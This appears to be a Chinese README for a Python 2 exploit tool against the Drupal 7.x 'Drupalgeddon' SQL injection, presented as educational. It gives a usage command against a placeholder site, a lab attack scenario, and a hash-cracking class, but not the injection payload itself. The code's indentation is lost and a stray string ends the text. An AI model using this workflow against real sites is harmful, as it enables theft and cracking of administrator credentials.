项目标题与描述
Drupal 7.x SQL注入利用工具
本项目是一个针对已知高危漏洞“Drupalgeddon”(SA-CORE-2014-005)的安全研究项目。它提供了一个Python脚本,可利用Drupal 7.x版本中的SQL注入漏洞,从数据库提取管理员密码哈希,并集成drupalpass模块进行本地破解。该项目旨在用于受控的教育和学术环境,以帮助安全研究人员和开发者理解此类漏洞的严重性及利用原理,从而提升系统安全防护意识。
功能特性
- 漏洞利用自动化:自动化执行针对Drupal 7.x(SA-CORE-2014-005)SQL注入漏洞的攻击流程。
-
管理员哈希提取:通过构造特定的SQL查询,从目标Drupal站点的数据库
users表中提取管理员用户的密码哈希值。 -
集成密码破解:内置
DrupalHash类,该工具不仅能提取哈希,还能使用本地字典对获取到的哈希进行暴力破解尝试。 - 教育性渗透测试流程:项目文档详细描述了从信息收集(Nmap扫描)、漏洞识别(Drupal版本检测)到实际漏洞利用的完整黑盒渗透测试场景,具有很高的学习参考价值。
安装指南
本工具为Python脚本,依赖Python标准库,无需复杂安装步骤。
系统要求与依赖项:
- Python 2.x 环境(脚本基于Python 2编写)。
- Python标准库:
hashlib,urllib2,optparse,random,sys。这些通常在Python标准安装中已包含。
安装步骤:
- 将项目代码克隆或下载到本地。
- 确保您的系统已安装Python 2。
- 可以直接运行脚本,无需额外安装依赖。
使用说明
基础使用示例
脚本通过命令行参数运行。主要功能是向存在漏洞的Drupal站点发送恶意请求以提取用户哈希。
# 基本用法示例(具体参数取决于脚本实现的完整功能)
python drupal_exploit.py -u http://target-drupal-site.com
典型使用场景
在一个隔离的渗透测试实验室中(如项目描述所述:攻击机Kali Linux 192.168.78.131,目标机Debian 192.168.78.132):
- 安全研究员使用Nmap等工具发现目标运行Drupal 7.x。
- 确认目标存在SA-CORE-2014-005漏洞。
- 运行本工具,指定目标URL,尝试获取管理员账户的密码哈希。
- 利用工具内置的
DrupalHash类或配合John the Ripper等工具对获取的哈希进行离线破解,最终目标是获取管理员明文密码。
核心代码
以下是项目中用于计算Drupal 7密码哈希的核心DrupalHash类及其关键方法的完整代码。该类用于验证或破解从目标站点提取的密码哈希。
#!/usr/bin/python
# Drupal 7.x SQL Injection SA-CORE-2014-005 https://www.drupal.org/SA-CORE-2014-005
# Inspired by yukyuk's P.o.C (https://www.reddit.com/user/fyukyuk)
# Tested on Drupal 7.31 with BackBox 3.x
import hashlib, urllib2, optparse, random, sys
# 核心代码:DrupalHash类 - 用于计算和验证Drupal 7兼容的密码哈希
class DrupalHash:
# 初始化函数,接收存储的哈希和待验证的密码
def __init__(self, stored_hash, password):
# Drupal自定义Base64编码字符表
self.itoa64 = './0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
# 计算并存储重新哈希后的结果
self.last_hash = self.rehash(stored_hash, password)
# 返回最后计算的哈希值
def get_hash(self):
return self.last_hash
# 从哈希设置字符串中提取迭代次数的对数(log2)
def password_get_count_log2(self, setting):
return self.itoa64.index(setting[3])
# 核心密码加密函数,根据算法、密码和设置生成Drupal哈希
def password_crypt(self, algo, password, setting):
setting = setting[0:12]
if setting[0] != '$' or setting[2] != '$':
return False
# 计算迭代次数
count_log2 = self.password_get_count_log2(setting)
salt = setting[4:12]
if len(salt) < 8:
return False
count = 1 << count_log2
# 根据算法选择哈希函数
if algo == 'md5':
hash_func = hashlib.md5
elif algo == 'sha512':
hash_func = hashlib.sha512
else:
return False
# 执行多次哈希迭代(Drupal的密码加强机制)
hash_str = hash_func(salt + password).digest()
for c in range(count):
hash_str = hash_func(hash_str + password).digest()
# 组合最终输出:设置信息 + 自定义Base64编码的哈希结果
output = setting + self.custom64(hash_str)
return output
# 自定义Base64编码函数,用于将二进制哈希字符串编码为Drupal格式
def custom64(self, string, count=0):
if count == 0:
count = len(string)
output = ''
i = 0
# 使用自定义字符表(itoa64)进行编码
while True:
value = ord(string[i])
i += 1
output += self.itoa64[value & 0x3f]
if i < count:
value |= ord(string[i]) << 8
output += self.itoa64[(value >> 6) & 0x3f]
if i >= count:
break
i += 1
if i < count:
value |= ord(string[i]) << 16
output += self.itoa64[(value >> 12) & 0x3f]
if i >= count:
break
i += 1
output += self.itoa64[(value >> 18) & 0x3f]
if i >= count:
break
return output
6HFtX5dABrKlqXeO5PUv/xQ6riDaA1x3NEFW7GKSlduRioNhlHXHCbJG8YqPNXUz